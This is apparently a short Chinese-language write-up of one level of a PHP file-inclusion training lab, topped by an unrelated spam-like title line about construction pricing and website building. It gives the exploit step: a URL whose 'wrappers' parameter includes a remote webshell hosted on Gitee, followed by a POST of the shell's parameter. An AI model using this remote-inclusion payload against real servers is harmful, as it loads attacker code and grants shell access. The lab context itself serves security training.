合肥市建设工程信息价网站广东官网网站建设企业

源码分析

• 跟上一关一样, 没有任何变化

解题分析

• 那变化在哪呢?

  • 其实变化在当前目录下的文件

  • 当前目录在不再有后门文件了

    • 不能再通过 127.0.0.1 和 靶机ip 来获取原本就存在的 WebShell

• 所以需要自己在互联网上放一个 WebShell, 以便文件包含

  • 探姬贴心地已经在 Gitee 上准备好了 木马

  • https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
    

解题步骤

• 使用远程文件包含, 包含上述地址, POST 传入对应参数即可

• http://靶场ip?wrappers=gitee.com/Probius/PHPinclude-labs/raw/main/RFI
  

•